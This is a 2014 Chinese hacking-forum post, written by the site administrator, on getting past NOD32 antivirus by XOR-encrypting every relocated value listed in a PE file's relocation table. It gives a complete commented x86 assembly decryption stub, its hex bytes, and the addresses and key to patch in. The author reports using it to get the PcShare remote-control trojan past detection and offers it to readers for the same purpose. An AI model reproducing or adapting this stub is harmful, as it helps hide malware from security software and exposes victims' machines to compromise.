王牌互联 WP Hostz 美国空间

九零白度

 找回密码
 立即注册
查看: 1403|回复: 0

重定位代码加密

[复制链接]
  • TA的每日心情
    奋斗
    2024-12-9 07:46
  • 签到天数: 16 天

    [LV.4]偶尔看看III

    324

    主题

    391

    帖子

    6万

    积分

    管理员

    Rank: 9Rank: 9Rank: 9

    积分
    69322

    活跃会员灌水之王荣誉管理论坛元老

    发表于 2014-12-14 00:25:42 | 显示全部楼层 |阅读模式
    重定位代码加密,秒过NOD32

    定位过NOD32特征码的朋友应该都知道,NOD32的特征码几乎全部都是被重定位的代码,如果我们根据重定位表,来把被重定位的数据全部加密了呢?那么不就能秒过NOD32了吗!所以 就有下面的代码出世了,我写了一个下午,总算完善好了~在PcShare完美上线,加个反调试代码就过了~连字符串的特征码都不需要改~这个比隐藏输入表更好用,不需要建立什么INA表那么麻烦~
    pushad                                   ; 保护现场
    call    10018020                         ; 重定位
    pop     eax                              ; 获取现在的地址
    sub     eax, 11111111                    ; 获得基址差做重定位 11111111=pop的地址
    push    eax                              ; 将基址差压进栈 重定位用
    mov     eax, 22222222                    ; 22222222=一个空白地址,这个地址必须可写可读,并且不会被再次修改
    add     eax, dword ptr [esp]             ; 重定位
    cmp     dword ptr [eax], 1               ; 对比 如果22222222上的数值是1的话就跳过解密
    je      short 1001809F                   ; 跳过解密
    mov     dword ptr [eax], 1               ; 没解密过就标志解密
    mov     edx, 33333333                    ; 33333333=文件内存基址,在lordpe里面显示的
    add     edx, dword ptr [esp]             ; 重定位
    push    edx                              ; 压进栈准备下面代码调用
    mov     ebp, 44444444                    ; 44444444=重定位表的内存地址
    add     ebp, dword ptr [esp+4]           ; 重定位
    push    dword ptr [ebp]                  ; 将重定位表第一页的地址压进栈
    add     ebp, 4                           ; 指向本页大小
    xor     eax, eax                         ; 清零eax
    xor     ecx, ecx                         ; 清零ecx
    xor     edx, edx                         ; 清零edx
    mov     ax, word ptr [ebp]               ; 将页数大小传送到ax
    sub     ax, 8                            ; 减去下一页的8位地址
    mov     cx, 2                            ; 赋予cx为2
    div     cx                               ; 将本页页字节除以2,获得重定位代码个数
    mov     ecx, eax                         ; 讲结果传送到ecx,做循环用
    add     ebp, 4                           ; 指向第一个重定位代码
    xor     esi, esi                         ; 清零esi
    mov     si, word ptr [ebp]               ; 将重定位地址传送到si
    cmp     esi, 0                           ; 对比是否是0
    je      short 10018092                   ; 如果是0则跳出解密
    sub     si, 3000                         ; 去除3000,获得确切地址的后三位地址
    add     esi, dword ptr [esp]             ; 加上这页的基址
    add     esi, dword ptr [esp+4]           ; 加上文件基址
    mov     ebx, dword ptr [esi]             ; 获取被重定位的数据
    mov     edx, 55                          ; 赋予edx一个key,这个key可以随便写,55=key
    xor     ebx, edx                         ; 将被重定位的代码解密
    add     ebx, dword ptr [esp+8]           ; 重定位被解密的数据
    mov     dword ptr [esi], ebx             ; 恢复加密数据
    add     ebp, 2                           ; 解密下一个重定位代码
    loopd   short 1001806C                   ; 循环解密,到ecx为0
    pop     eax                              ; 平衡堆栈
    cmp     dword ptr [ebp], 0               ; 查看是否全部解密完毕
    jnz     short 1001804C                   ; 如果没解密完毕继续解密
    pop     eax                              ; 平衡堆栈
    pop     eax                              ; 平衡堆栈
    popad                                    ; 恢复现场
    retn                                     ; 退出解密函数返回

    60 E8 00 00 00 00 58 2D 11 11 11 11 50 B8 22 22 22 22 03 04 24 83 38 01 74 6B C7 00 01 00 00 00
    BA 33 33 33 33 03 14 24 52 BD 44 44 44 44 03 6C 24 04 FF 75 00 83 C5 04 33 C0 33 C9 33 D2 66 8B
    45 00 66 83 E8 08 66 B9 02 00 66 F7 F1 8B C8 83 C5 04 33 F6 66 8B 75 00 83 FE 00 74 1B 66 81 EE
    00 30 03 34 24 03 74 24 04 8B 1E BA 55 00 00 00 33 DA 03 5C 24 08 89 1E 83 C5 02 E2 D5 58 83 7D
    00 00 75 AE 58 58 61 C3

    11111111=pop的地址
    22222222=一个空白地址,这个地址必须可写可读,并且不会被再次修改
    33333333=文件内存基址,在lordpe里面显示的
    44444444=重定位表的内存地址
    55=key,这个key可以随便写

    希望对大家免杀NOD32会有所帮助
    该会员没有填写今日想说内容.
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    QQ|Archiver|小黑屋|九零白度

    GMT+8, 2025-5-10 06:34 , Processed in 0.125000 second(s), 43 queries .

    Powered by Discuz! X3.4

    Copyright © 2001-2021, Tencent Cloud.

    快速回复 返回顶部 返回列表